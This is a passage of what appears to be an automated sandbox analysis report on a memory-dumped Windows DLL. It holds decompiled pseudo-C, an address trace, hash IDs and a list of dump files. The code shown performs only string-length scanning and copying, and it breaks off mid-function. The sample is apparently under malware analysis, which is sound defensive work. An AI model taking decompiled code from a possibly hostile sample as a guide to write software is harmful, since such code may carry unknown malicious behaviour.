					_t237 =  &_v56;
					goto L37;
				}
				if(_t406 == 0) {
					L6:
					_push(1);
					_push(_t230);
					E6EBA10B0();
					_t485 = _t485 + 8;
					goto L8;
				}
				_t402 =  *_t230;
				 *_t406 = _t402;
				if(_t402 == 0) {
					goto L6;
				}
				_t340 = 0;
				while(1) {
					_t340 = _t340 + 1;
					_t403 =  *((char*)(_t230 + _t340 * 2 - 1));
					 *((char*)(_t406 + _t340 * 2 - 1)) = _t403;
					if(_t403 == 0) {
						goto L6;
					}
					_t404 =  *((char*)(_t230 + _t340 * 2));
					 *((char*)(_t406 + _t340 * 2)) = _t404;
					if(_t404 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x6ebb2e6e
0x6ebb2e72
0x6ebb2e74
0x6ebb2e78
0x6ebb2e7f
0x6ebb2e81
0x6ebb2e84
0x6ebb2e8a
0x6ebb2ec1
0x6ebb2ec4
0x6ebb2ec4
0x6ebb2ec8
0x6ebb2ed0
0x6ebb2ed6
0x6ebb2ee1
0x6ebb2ee3
0x6ebb37d3
0x6ebb37d8
0x6ebb2f5d
0x6ebb2f62
0x6ebb2f62
0x6ebb2f65
0x6ebb2f68
0x6ebb2f6b
0x6ebb2f6d
0x6ebb2f82
0x6ebb2f85
0x6ebb2f85
0x6ebb2f8b
0x6ebb2f93
0x6ebb2f93
0x6ebb2f93
0x6ebb2f96
0x6ebb2f9d
0x6ebb2fa0
0x6ebb2fa6
0x6ebb2fa8
0x6ebb2fab
0x6ebb2faf
0x6ebb2fb1
0x6ebb3006
0x00000000
0x6ebb2fb3
0x6ebb2fb3
0x6ebb2fb5
0x6ebb2ff1
0x6ebb2ff1
0x6ebb2ff3
0x6ebb2ff4
0x6ebb2ff8
0x6ebb2ffd
0x6ebb3001
0x6ebb3009
0x6ebb3009
0x6ebb300d
0x6ebb3011
0x6ebb3015
0x6ebb3018
0x6ebb301e
0x6ebb3023
0x6ebb3023
0x6ebb3025
0x6ebb3029
0x6ebb302e
0x6ebb303d
0x6ebb303d
0x6ebb3041
0x6ebb3043
0x6ebb304b
0x6ebb304d
0x6ebb3050
0x6ebb3054
0x6ebb308e
0x6ebb3135
0x6ebb3135
0x6ebb3137
0x6ebb313e
0x6ebb313e
0x6ebb3140
0x6ebb3144
0x6ebb3150
0x6ebb3154
0x6ebb3161
0x6ebb3161
0x6ebb3058
0x6ebb307e
0x6ebb307e
0x6ebb3080
0x6ebb3081
0x6ebb3086
0x00000000
0x6ebb3086
0x6ebb305a
0x6ebb305d
0x6ebb3061
0x00000000
0x00000000
0x6ebb3063
0x6ebb3065
0x6ebb3065
0x6ebb3066
0x6ebb306b
0x6ebb3071
0x00000000
0x00000000
0x6ebb3073
0x6ebb3077
0x6ebb307c
0x00000000
0x00000000
0x00000000
0x6ebb307c
0x00000000
0x6ebb3065
0x6ebb3032
0x6ebb3035
0x6ebb303b
0x6ebb3096
0x6ebb3098
0x6ebb309c
0x6ebb309e
0x6ebb30e4
0x6ebb30e4
0x6ebb30e8
0x6ebb30ea
0x6ebb30f2
0x6ebb30f4
0x6ebb30f7
0x6ebb30f9
0x6ebb30fb
0x6ebb3132
0x00000000
0x6ebb3132
0x6ebb30fd
0x6ebb30ff
0x6ebb3125
0x6ebb3125
0x6ebb3127
0x6ebb3128
0x6ebb312d
0x00000000
0x6ebb312d
0x6ebb3101
0x6ebb3104
0x6ebb3106
0x6ebb3108
0x00000000
0x00000000
0x6ebb310a
0x6ebb310a
0x6ebb310c
0x6ebb310c
0x6ebb310d
0x6ebb3112
0x6ebb3116
0x6ebb3118
0x00000000
0x00000000
0x6ebb311a
0x6ebb311e
0x6ebb3121
0x6ebb3123
0x00000000
0x00000000
0x00000000
0x6ebb3123
0x00000000
0x6ebb310c
0x6ebb30a0
0x6ebb30a3
0x00000000
0x00000000
0x6ebb30a5
0x6ebb30a7
0x6ebb30a9
0x6ebb30a9
0x6ebb30ac
0x6ebb30b0
0x6ebb30b3
0x6ebb30b6
0x6ebb30b9
0x6ebb30bc
0x6ebb30bc
0x6ebb30be
0x6ebb30be
0x6ebb30c4
0x6ebb30ca
0x6ebb30cd
0x6ebb30cf
0x00000000
0x00000000
0x6ebb30d5
0x6ebb30d6
0x6ebb30d7
0x6ebb30db
0x6ebb30df
0x00000000
0x00000000
0x6ebb30e1
0x6ebb30e1
0x00000000
0x6ebb30e1
0x6ebb3164
0x6ebb3167
0x6ebb3169
0x00000000
0x00000000
0x6ebb3173
0x6ebb3176
0x6ebb3182
0x6ebb3182
0x6ebb3185
0x6ebb318c
0x6ebb3190
0x6ebb3192
0x6ebb3192
0x6ebb3194
0x6ebb3196
0x6ebb31af
0x6ebb31bf
0x6ebb31bf
0x6ebb31c5
0x6ebb31c5
0x6ebb31ca
0x6ebb31ce
0x6ebb31d2
0x6ebb31d4
0x00000000
0x00000000
0x6ebb31da
0x6ebb31dd
0x6ebb31df
0x00000000
0x00000000
0x6ebb31e5
0x6ebb31eb
0x6ebb3204
0x6ebb3204
0x6ebb3209
0x6ebb3209
0x6ebb320c
0x6ebb320c
0x6ebb320e
0x6ebb3212
0x6ebb3216
0x6ebb321a
0x6ebb3221
0x6ebb322a
0x6ebb322d
0x6ebb3230
0x6ebb3236
0x6ebb3239
0x6ebb323c
0x6ebb323e
0x00000000
0x00000000
0x6ebb324a
0x6ebb324c
0x6ebb3254
0x6ebb3254
0x6ebb3258
0x6ebb325c
0x6ebb325f
0x6ebb325f
0x6ebb3261
0x00000000
0x00000000
0x6ebb3267
0x6ebb326b
0x6ebb326b
0x6ebb326d
0x6ebb326f
0x6ebb326f
0x6ebb3270
0x00000000
0x00000000
0x6ebb3276
0x6ebb327a
0x00000000
0x00000000
0x6ebb3280
0x6ebb3289
0x6ebb328c
0x6ebb328f
0x6ebb3293
0x6ebb3297
0x6ebb3297
0x6ebb3298
0x6ebb3299
0x6ebb32a0
0x6ebb32a3
0x6ebb32a9
0x6ebb32ac
0x6ebb32ae
0x00000000
0x00000000
0x6ebb32b4
0x6ebb32b7
0x00000000
0x00000000
0x6ebb32b9
0x6ebb32b9
0x6ebb32bd
0x6ebb32c1
0x6ebb32c4
0x6ebb32c4
0x6ebb32c6
0x6ebb32df
0x6ebb32ef
0x6ebb32ef
0x6ebb32f5
0x6ebb32f5
0x6ebb32fa
0x6ebb32fe
0x6ebb3302
0x6ebb3304
0x00000000
0x00000000
0x6ebb330a
0x6ebb330d
0x6ebb330f
0x00000000
0x00000000
0x6ebb3311
0x6ebb3317
0x6ebb332c
0x6ebb332c
0x6ebb3331
0x6ebb3335
0x6ebb3335
0x6ebb3338
0x6ebb3350
0x6ebb3360
0x6ebb3360
0x6ebb3366
0x6ebb3366
0x6ebb336b
0x6ebb336f
0x6ebb3373
0x6ebb3375
0x00000000
0x00000000
0x6ebb337b
0x6ebb337e
0x6ebb3380
0x00000000
0x00000000
0x6ebb3382
0x6ebb3385
0x6ebb338b
0x6ebb33a0
0x6ebb33a0
0x6ebb33a5
0x6ebb33a5
0x6ebb33ab
0x6ebb33ad
0x6ebb33af
0x6ebb33b1
0x6ebb33b3
0x6ebb33b6
0x6ebb33b8
0x6ebb33bb
0x6ebb33be
0x6ebb33c0
0x6ebb33c0
0x6ebb33c2
0x6ebb33c6
0x6ebb3519
0x6ebb3519
0x6ebb3520
0x6ebb3522
0x6ebb3525
0x6ebb3527
0x6ebb3529
0x6ebb3563
0x00000000
0x6ebb3563
0x6ebb352b
0x6ebb352d
0x6ebb3553
0x6ebb3553
0x6ebb3555
0x6ebb3556
0x6ebb355b
0x00000000
0x6ebb355b
0x6ebb352f
0x6ebb3532
0x6ebb3534
0x6ebb3536
0x00000000
0x00000000
0x6ebb3538
0x6ebb3538
0x6ebb353a
0x6ebb353a
0x6ebb353b
0x6ebb3540
0x6ebb3544
0x6ebb3546
0x00000000
0x00000000
0x6ebb3548
0x6ebb354c
0x6ebb354f
0x6ebb3551
0x00000000
0x00000000
0x00000000
0x6ebb3551
0x00000000
0x6ebb353a
0x6ebb33cc
0x6ebb33d0
0x6ebb33d4
0x00000000
0x00000000
0x6ebb33da
0x6ebb33dc
0x6ebb3451
0x6ebb3456
0x6ebb3456
0x6ebb3459
0x6ebb345c
0x6ebb345f
0x6ebb3461
0x6ebb3477
0x6ebb347a
0x6ebb347a
0x6ebb3480
0x6ebb3488
0x6ebb3488
0x6ebb3488
0x6ebb348b
0x6ebb3495
0x6ebb3498
0x6ebb349b
0x6ebb34a1
0x6ebb34a3
0x6ebb34a6
0x6ebb34a8
0x6ebb34aa
0x6ebb34e4
0x00000000
0x6ebb34ac
0x6ebb34ac
0x6ebb34ae
0x6ebb34d7
0x6ebb34d7
0x6ebb34d9
0x6ebb34da
0x6ebb34df
0x6ebb34e7
0x6ebb34ea
0x6ebb34ed
0x6ebb34ef
0x6ebb34ef
0x6ebb34f1
0x00000000
0x00000000
0x6ebb34f7
0x6ebb34fb
0x6ebb3501
0x6ebb3501
0x6ebb3504
0x6ebb3505
0x6ebb3507
0x6ebb3509
0x00000000
0x00000000
0x6ebb350b
0x6ebb350d
0x6ebb356b
0x00000000
0x6ebb356b
0x6ebb350f
0x6ebb350f
0x6ebb3511
0x00000000
0x00000000
0x6ebb34ff
0x6ebb3500
0x6ebb3500
0x6ebb3500
0x6ebb3501
0x6ebb34b0
0x6ebb34b3
0x6ebb34b5
0x6ebb34b7
0x00000000
0x00000000
0x6ebb34b9
0x6ebb34b9
0x6ebb34bb
0x6ebb34bb
0x6ebb34bc
0x6ebb34c1
0x6ebb34c5
0x6ebb34c7
0x00000000
0x00000000
0x6ebb34c9
0x6ebb34cd
0x6ebb34d0
0x6ebb34d2
0x00000000
0x00000000
0x00000000
0x6ebb34d2
0x6ebb34d4
0x00000000
0x6ebb34d4
0x6ebb34aa
0x6ebb3463
0x00000000
0x6ebb3463
0x6ebb33de
0x6ebb33e0
0x6ebb33e4
0x6ebb33e4
0x6ebb33e7
0x6ebb33ff
0x6ebb340f
0x6ebb340f
0x6ebb3415
0x6ebb3415
0x6ebb341a
0x6ebb341e
0x6ebb3422
0x6ebb3424
0x00000000
0x00000000
0x6ebb342a
0x6ebb342d
0x6ebb342f
0x00000000
0x00000000
0x6ebb3431
0x6ebb3437
0x6ebb344c
0x6ebb344c
0x00000000
0x6ebb344c
0x6ebb3439
0x6ebb343d
0x6ebb343d
0x6ebb3441
0x00000000
0x00000000
0x6ebb3443
0x6ebb3444
0x6ebb344a
0x00000000
0x00000000
0x00000000
0x6ebb344a
0x00000000
0x6ebb343d
0x6ebb3574
0x6ebb3577
0x00000000
0x6ebb3577
0x6ebb33eb
0x6ebb33ed
0x6ebb33f1
0x6ebb33f1
0x6ebb33f4
0x6ebb33f4
0x6ebb33f8
0x00000000
0x00000000
0x6ebb33fa
0x6ebb33fb
0x6ebb33fd
0x00000000
0x00000000
0x00000000
0x6ebb33fd
0x00000000
0x6ebb33f4
0x6ebb338d
0x6ebb3391
0x6ebb3391
0x6ebb3395
0x00000000
0x00000000
0x6ebb3397
0x6ebb3398
0x6ebb339e
0x00000000
0x00000000
0x00000000
0x6ebb339e
0x00000000
0x6ebb3391
0x6ebb357e
0x6ebb3581
0x6ebb3584
0x00000000
0x6ebb3584
0x6ebb333c
0x6ebb333e
0x6ebb3342
0x6ebb3342
0x6ebb3345
0x6ebb3345
0x6ebb3349
0x00000000
0x00000000
0x6ebb334b
0x6ebb334c
0x6ebb334e
0x00000000
0x00000000
0x00000000
0x6ebb334e
0x00000000
0x6ebb3345
0x6ebb3319
0x6ebb331d
0x6ebb331d
0x6ebb3321
0x00000000
0x00000000
0x6ebb3323
0x6ebb3324
0x6ebb332a
0x00000000
0x00000000
0x00000000
0x6ebb332a
0x00000000
0x6ebb331d
0x6ebb358b
0x6ebb358e
0x00000000
0x6ebb358e
0x6ebb32c8
0x6ebb32cc
0x6ebb32cc
0x6ebb32ce
0x6ebb32d2
0x6ebb32d4
0x6ebb32d4
0x6ebb32d8
0x00000000
0x00000000
0x6ebb32da
0x6ebb32db
0x6ebb32dd
0x00000000
0x00000000
0x00000000
0x6ebb32dd
0x00000000
0x6ebb32d4
0x6ebb3595
0x6ebb3599
0x6ebb359d
0x6ebb359f
0x00000000
0x00000000
0x6ebb35a5
0x6ebb35a9
0x6ebb35ad
0x6ebb35b1
0x6ebb35b5
0x6ebb35b5
0x6ebb35b7
0x6ebb35b9
0x6ebb35d2
0x6ebb35e2
0x6ebb35e2
0x6ebb35e8
0x6ebb35e8
0x6ebb35ed
0x6ebb35f1
0x6ebb35f5
0x6ebb35f7
0x00000000
0x00000000
0x6ebb35fd
0x6ebb3600
0x6ebb3602
0x00000000
0x00000000
0x6ebb3608
0x6ebb360e
0x6ebb3627
0x6ebb3627
0x6ebb362c
0x6ebb362c
0x6ebb362f
0x6ebb362f
0x6ebb3631
0x6ebb3635
0x6ebb3639
0x6ebb363d
0x6ebb3644
0x6ebb364d
0x6ebb3650
0x6ebb3653
0x6ebb3659
0x6ebb365c
0x6ebb365f
0x6ebb3661
0x00000000
0x00000000
0x6ebb3665
0x6ebb3667
0x6ebb3673
0x6ebb3673
0x6ebb3677
0x6ebb367b
0x6ebb367b
0x6ebb367d
0x00000000
0x00000000
0x00000000
0x6ebb367d
0x6ebb3669
0x6ebb366a
0x6ebb366d
0x00000000
0x00000000
0x00000000
0x6ebb366d
0x6ebb368f
0x6ebb3699
0x6ebb3699
0x6ebb369a
0x00000000
0x00000000
0x6ebb369c
0x6ebb36a5
0x6ebb36aa
0x6ebb36ad
0x6ebb36b1
0x00000000
0x00000000
0x6ebb36b3
0x6ebb36b7
0x6ebb36b7
0x6ebb36b8
0x6ebb36b9
0x6ebb36c3
0x6ebb36c9
0x6ebb36cc
0x6ebb36ce
0x00000000
0x00000000
0x6ebb36d0
0x6ebb36d3
0x00000000
0x00000000
0x00000000
0x6ebb36d5
0x00000000
0x6ebb36b7
0x6ebb3610
0x6ebb3614
0x6ebb3614
0x6ebb3618
0x00000000
0x00000000
0x6ebb361e
0x6ebb361f
0x6ebb3625
0x00000000
0x00000000
0x00000000
0x6ebb3625
0x6ebb36fa
0x6ebb36fa
0x6ebb36fc
0x00000000
0x00000000
0x6ebb3702
0x00000000
0x00000000
0x6ebb3708
0x6ebb370c
0x6ebb3710
0x00000000
0x6ebb3710
0x6ebb3719
0x6ebb3720
0x00000000
0x6ebb3720
0x6ebb35bb
0x6ebb35bf
0x6ebb35c1
0x6ebb35c1
0x6ebb35c3
0x6ebb35c3
0x6ebb35c7
0x00000000
0x00000000
0x6ebb35cd
0x6ebb35ce
0x6ebb35d0
0x00000000
0x00000000
0x00000000
0x6ebb35d0
0x00000000
0x6ebb36de
0x6ebb36de
0x6ebb36e2
0x6ebb36e6
0x6ebb36e6
0x6ebb36ee
0x6ebb36ee
0x6ebb36f2
0x00000000
0x6ebb36f2
0x6ebb3683
0x6ebb3683
0x00000000
0x6ebb3687
0x6ebb324e
0x6ebb324f
0x6ebb3252
0x00000000
0x00000000
0x00000000
0x6ebb3252
0x6ebb3724
0x6ebb372e
0x6ebb372e
0x6ebb372f
0x00000000
0x00000000
0x6ebb3735
0x6ebb373e
0x6ebb3743
0x6ebb3746
0x6ebb374a
0x00000000
0x00000000
0x6ebb3750
0x6ebb3754
0x6ebb3754
0x6ebb3755
0x6ebb3756
0x6ebb3760
0x6ebb3766
0x6ebb3769
0x6ebb376b
0x00000000
0x00000000
0x6ebb376d
0x6ebb3770
0x00000000
0x00000000
0x00000000
0x6ebb3772
0x00000000
0x6ebb3754
0x6ebb31ed
0x6ebb31f1
0x6ebb31f1
0x6ebb31f5
0x00000000
0x00000000
0x6ebb31fb
0x6ebb31fc
0x6ebb3202
0x00000000
0x00000000
0x00000000
0x6ebb3202
0x6ebb3777
0x6ebb3777
0x6ebb3779
0x00000000
0x00000000
0x6ebb377f
0x00000000
0x00000000
0x6ebb3785
0x6ebb3789
0x00000000
0x6ebb3789
0x6ebb3791
0x6ebb3798
0x00000000
0x6ebb3798
0x6ebb3198
0x6ebb319c
0x6ebb319e
0x6ebb319e
0x6ebb31a0
0x6ebb31a0
0x6ebb31a4
0x00000000
0x00000000
0x6ebb31aa
0x6ebb31ab
0x6ebb31ad
0x00000000
0x00000000
0x00000000
0x6ebb31ad
0x00000000
0x6ebb379c
0x6ebb379c
0x6ebb37a0
0x6ebb37a4
0x6ebb37a4
0x00000000
0x6ebb37ac
0x00000000
0x6ebb303b
0x6ebb2fb7
0x6ebb2fba
0x6ebb2fbc
0x6ebb2fbe
0x00000000
0x00000000
0x6ebb2fc0
0x6ebb2fc4
0x6ebb2fc4
0x6ebb2fc6
0x6ebb2fca
0x6ebb2fcd
0x6ebb2fcd
0x6ebb2fce
0x6ebb2fd3
0x6ebb2fd7
0x6ebb2fd9
0x00000000
0x00000000
0x6ebb2fdb
0x6ebb2fdf
0x6ebb2fe2
0x6ebb2fe4
0x00000000
0x00000000
0x00000000
0x6ebb2fe4
0x6ebb2fe6
0x6ebb2fea
0x6ebb2fee
0x00000000
0x6ebb2fee
0x6ebb2fb1
0x6ebb2f6f
0x00000000
0x6ebb2f6f
0x6ebb2eeb
0x6ebb2eeb
0x6ebb2eee
0x6ebb2f06
0x6ebb2f0a
0x6ebb2f16
0x6ebb2f16
0x6ebb2f1c
0x6ebb2f1c
0x6ebb2f21
0x6ebb2f25
0x6ebb2f29
0x6ebb2f2b
0x00000000
0x00000000
0x6ebb2f31
0x6ebb2f34
0x6ebb2f36
0x00000000
0x00000000
0x6ebb2f38
0x6ebb2f3e
0x6ebb2f53
0x6ebb2f53
0x6ebb2f58
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebb2f40
0x6ebb2f40
0x6ebb2f40
0x6ebb2f44
0x00000000
0x00000000
0x6ebb2f4a
0x6ebb2f4b
0x6ebb2f51
0x00000000
0x00000000
0x00000000
0x6ebb2f51
0x6ebb37b1
0x6ebb37b1
0x6ebb37b4
0x6ebb37c2
0x6ebb37b6
0x6ebb37b6
0x6ebb37b9
0x6ebb37b9
0x00000000
0x6ebb37b4
0x6ebb37cc
0x6ebb37cf
0x00000000
0x6ebb37cf
0x6ebb2ef2
0x6ebb2ef4
0x6ebb2ef4
0x6ebb2ef7
0x6ebb2ef7
0x6ebb2efb
0x00000000
0x00000000
0x6ebb2f01
0x6ebb2f02
0x6ebb2f04
0x00000000
0x00000000
0x00000000
0x6ebb2f04
0x00000000
0x6ebb2ef7
0x6ebb2ed8
0x00000000
0x6ebb2ed8
0x6ebb2e8e
0x6ebb2eb4
0x6ebb2eb4
0x6ebb2eb6
0x6ebb2eb7
0x6ebb2ebc
0x00000000
0x6ebb2ebc
0x6ebb2e90
0x6ebb2e93
0x6ebb2e97
0x00000000
0x00000000
0x6ebb2e99
0x6ebb2e9b
0x6ebb2e9b
0x6ebb2e9c
0x6ebb2ea1
0x6ebb2ea7
0x00000000
0x00000000
0x6ebb2ea9
0x6ebb2ead
0x6ebb2eb2
0x00000000
0x00000000
0x00000000
0x6ebb2eb2
0x00000000

Strings

@, xrefs: 6EBB2EC8

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction ID: 68dfacfaabe88dbc0603bbb77e84ad30d9af6a279e4888a878cb39c06bbf08ee
Opcode Fuzzy Hash: 115c3439d82789a76028cc64ba03a0b0cd7b01c7d0591427b9fbd30026037de6
Instruction Fuzzy Hash: DD5227719087D38BD705CEADC49433ABFE2AFC6314F19866DD8A54B296DFB1C8418782

Uniqueness

Uniqueness Score: -1.00%

Function 6EBB7660, Relevance: 2.0, Strings: 1, Instructions: 793
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6EBB7660(intOrPtr* __ecx, signed int* _a4, signed int _a8) {
				signed int _v32;
				intOrPtr* _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _t203;
				signed int _t206;
				signed int* _t207;
				signed int* _t216;
				signed int _t217;
				signed int _t219;
				signed int _t221;
				signed int _t222;
				signed int _t225;
				signed int _t226;
				signed int _t227;
				signed int _t228;
				signed int _t229;
				signed int _t230;
				signed int _t231;
				signed int* _t234;
				signed int _t236;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int* _t248;
				signed int _t250;
				signed int _t251;
				signed int _t259;
				signed int _t262;
				void* _t264;
				signed int _t265;
				signed int _t266;
				signed int* _t269;
				signed int _t271;
				signed int _t272;
				signed int _t275;
				signed int _t280;
				signed int* _t281;
				signed int _t284;
				signed int _t286;
				signed int _t287;
				signed int _t288;
				signed int _t294;
				signed int _t298;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t308;
				signed int _t309;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				signed int _t315;
				signed int* _t316;
				signed int _t324;
				signed int _t326;
				unsigned int _t331;
				signed int _t333;
				signed int* _t335;
				signed int _t337;
				signed int* _t339;
				char _t340;
				char _t341;
				signed int _t343;
				intOrPtr* _t344;
				signed int _t345;
				signed int _t346;
				signed int _t347;
				signed int _t349;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t359;
				signed int _t361;
				signed int _t363;
				signed int _t365;
				signed int _t366;
				signed int _t367;
				unsigned int _t372;
				signed int _t374;
				signed int* _t376;
				signed int _t377;
				signed int _t378;
				intOrPtr* _t380;
				intOrPtr* _t382;
				signed int _t383;
				signed int _t384;
				signed int _t385;
				intOrPtr* _t386;
				void* _t387;
				signed int _t388;
				intOrPtr* _t390;
				unsigned int _t396;
				signed int _t398;
				void* _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t402;
				signed int _t403;
				signed int _t404;
				signed int _t407;
				signed int _t414;
				signed int _t415;
				signed int _t422;
				signed int _t428;
				signed int _t429;
				unsigned int _t434;
				signed int _t437;
				void* _t439;
				void* _t441;

				_t439 = (_t437 & 0xfffffff0) - 0x34;
				_t390 = __ecx;
				_t303 =  *__ecx;
				if(_t303 != 0) {
					_t343 =  *( *( *(__ecx + 4)));
					__eflags = _t343;
					if(_t343 == 0) {
						L35:
						_push(0x40);
						_t284 = E6EBA1030();
						_t439 = _t439 + 4;
						__eflags =  *_t390 - 1;
						 *_t284 = 0;
						if( *_t390 <= 1) {
							goto L203;
						} else {
							_t415 = 0x40;
							goto L37;
						}
					} else {
						__eflags =  *_t343;
						if( *_t343 == 0) {
							goto L35;
						} else {
							_t262 = _t343 & 0x0000000f;
							__eflags = _t262;
							if(_t262 == 0) {
								L16:
								asm("pxor xmm0, xmm0");
								_t294 =  ~( ~_t262 + 0x0000000f & 0x0000000f) + 0x7fffffff;
								__eflags = _t294;
								_v64 = _t294;
								_t429 = _t294;
								while(1) {
									asm("movdqu xmm1, [edx+eax]");
									asm("pcmpeqb xmm1, xmm0");
									asm("pmovmskb ebx, xmm1");
									__eflags = _t294;
									if(_t294 != 0) {
										break;
									}
									_t262 = _t262 + 0x10;
									__eflags = _t262 - _t429;
									if(_t262 < _t429) {
										continue;
									} else {
										_v64 = _t429;
										__eflags = _v64 - 0x7fffffff;
										if(_v64 >= 0x7fffffff) {
											L23:
											_v64 = 0x7fffffff;
										} else {
											_t275 = _t429;
											while(1) {
												__eflags =  *((char*)(_t275 + _t343));
												if( *((char*)(_t275 + _t343)) == 0) {
													break;
												}
												_t275 = _t275 + 1;
												__eflags = _t275 - 0x7fffffff;
												if(_t275 < 0x7fffffff) {
													continue;
												} else {
													goto L23;
												}
												goto L24;
											}
											_v64 = _t275;
										}
									}
									goto L24;
								}
								asm("bsf ebx, ebx");
								_v64 = _t294 + _t262;
							} else {
								_v64 = 0;
								_t299 = _v64;
								_t262 =  ~_t262 + 0x10;
								__eflags = _t262;
								while(1) {
									__eflags =  *((char*)(_t299 + _t343));
									if( *((char*)(_t299 + _t343)) == 0) {
										break;
									}
									_t299 = _t299 + 1;
									__eflags = _t299 - _t262;
									if(_t299 < _t262) {
										continue;
									} else {
										goto L16;
									}
									goto L24;
								}
								_v64 = _t299;
							}
							L24:
							_t264 = _v64 + 1;
							__eflags = _t264 - 0x40;
							_t265 =  <=  ? 0x40 : _t264;
							__eflags = _t265;
							if(_t265 > 0) {
								_t434 = (_t265 >> 5 >> 0x1a) + _t265 >> 6;
								_t266 = _t265 & 0x8000003f;
								__eflags = _t266;
								if(_t266 < 0) {
									_t266 = (_t266 - 0x00000001 | 0xffffffc0) + 1;
									__eflags = _t266;
								}
								__eflags = _t266;
								_t415 = _t434 + (0 | _t266 > 0x00000000) << 6;
								_push(_t415);
								_v68 = _t343;
								_t269 = E6EBA1030();
								_t385 = _v68;
								_t339 = _t269;
								_t439 = _t439 + 4;
								_v60 = 0;
								_v44 = _t339;
								_v36 = _t390;
								 *_t339 = 0;
								_v68 =  *_t390;
								_t298 = _v60;
								_t404 = _v64;
								while(1) {
									_t271 =  *_t385;
									_t298 = _t298 + 1;
									 *_t339 = _t271;
									__eflags = _t404;
									if(_t404 == 0) {
										goto L33;
									}
									__eflags = _t298 - _t404;
									if(_t298 == _t404) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
										_t339[0] = 0;
									} else {
										goto L33;
									}
									L206:
									__eflags = _t272 - 1;
									if(_t272 > 1) {
										goto L37;
									} else {
										goto L157;
									}
									goto L200;
									L33:
									__eflags = _t271;
									if(_t271 == 0) {
										_t284 = _v44;
										_t272 = _v68;
										_t390 = _v36;
									} else {
										_t339 =  &(_t339[0]);
										_t385 = _t385 + 1;
										__eflags = _t385;
										continue;
									}
									goto L206;
								}
							} else {
								_t284 = 0;
								__eflags = _t303 - 1;
								if(_t303 <= 1) {
									L203:
									_t344 = _a4;
									_t203 = 0;
									 *_t344 = 0;
									 *((intOrPtr*)(_t344 + 4)) = 0;
									__eflags = _t284;
									if(_t284 == 0) {
										goto L191;
									} else {
										goto L158;
									}
								} else {
									_t415 = 0;
									L37:
									_t308 = _a8 & 0x0000000f;
									asm("pxor xmm0, xmm0");
									_t359 =  ~_t308 + 0x10;
									__eflags = _t359;
									_v52 = _t359;
									_v56 = _t308;
									_v48 = _t415;
									_v36 = _t390;
									_t400 = 1;
									goto L38;
									do {
										do {
											do {
												L38:
												__eflags = _a8;
												if(_a8 != 0) {
													_t363 = _a8;
													__eflags =  *_t363;
													if( *_t363 != 0) {
														__eflags = _t284 - _a8;
														if(_t284 != _a8) {
															_t229 = _v56;
															__eflags = _t229;
															if(_t229 == 0) {
																L46:
																asm("pxor xmm1, xmm1");
																_t422 =  ~( ~_t229 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																__eflags = _t422;
																while(1) {
																	asm("movdqu xmm0, [ecx+eax]");
																	asm("pcmpeqb xmm0, xmm1");
																	asm("pmovmskb edx, xmm0");
																	__eflags = _t363;
																	if(_t363 != 0) {
																		break;
																	}
																	_t229 = _t229 + 0x10;
																	__eflags = _t229 - _t422;
																	if(_t229 < _t422) {
																		continue;
																	} else {
																		__eflags = _t422 - 0x7fffffff;
																		if(_t422 >= 0x7fffffff) {
																			L53:
																			_t422 = 0x7fffffff;
																		} else {
																			_t363 = _a8;
																			while(1) {
																				__eflags =  *((char*)(_t422 + _t363));
																				if( *((char*)(_t422 + _t363)) == 0) {
																					goto L54;
																				}
																				_t422 = _t422 + 1;
																				__eflags = _t422 - 0x7fffffff;
																				if(_t422 < 0x7fffffff) {
																					continue;
																				} else {
																					goto L53;
																				}
																				goto L54;
																			}
																		}
																	}
																	goto L54;
																}
																asm("bsf esi, edx");
																_t422 = _t422 + _t229;
															} else {
																_t229 = _v52;
																_t422 = 0;
																__eflags = 0;
																_t324 = _a8;
																_t363 = _t229;
																while(1) {
																	__eflags =  *((char*)(_t422 + _t324));
																	if( *((char*)(_t422 + _t324)) == 0) {
																		break;
																	}
																	_t422 = _t422 + 1;
																	__eflags = _t422 - _t363;
																	if(_t422 < _t363) {
																		continue;
																	} else {
																		_v52 = _t363;
																		goto L46;
																	}
																	goto L54;
																}
																_v52 = _t363;
															}
															L54:
															__eflags = _t284;
															if(_t284 == 0) {
																_t311 = 0;
															} else {
																_t239 = _t284 & 0x0000000f;
																__eflags = _t239;
																if(_t239 == 0) {
																	L59:
																	asm("pxor xmm1, xmm1");
																	_t311 =  ~( ~_t239 + 0x0000000f & 0x0000000f) + 0x7fffffff;
																	__eflags = _t311;
																	while(1) {
																		asm("movdqu xmm0, [ebx+eax]");
																		asm("pcmpeqb xmm0, xmm1");
																		asm("pmovmskb edx, xmm0");
																		__eflags = _t363;
																		if(_t363 != 0) {
																			break;
																		}
																		_t239 = _t239 + 0x10;
																		__eflags = _t239 - _t311;
																		if(_t239 < _t311) {
																			continue;
																		} else {
																			__eflags = _t311 - 0x7fffffff;
																			if(_t311 >= 0x7fffffff) {
																				L65:
																				_t311 = 0x7fffffff;
																			} else {
																				while(1) {
																					__eflags =  *((char*)(_t311 + _t284));
																					if( *((char*)(_t311 + _t284)) == 0) {
																						goto L66;
																					}
																					_t311 = _t311 + 1;
																					__eflags = _t311 - 0x7fffffff;
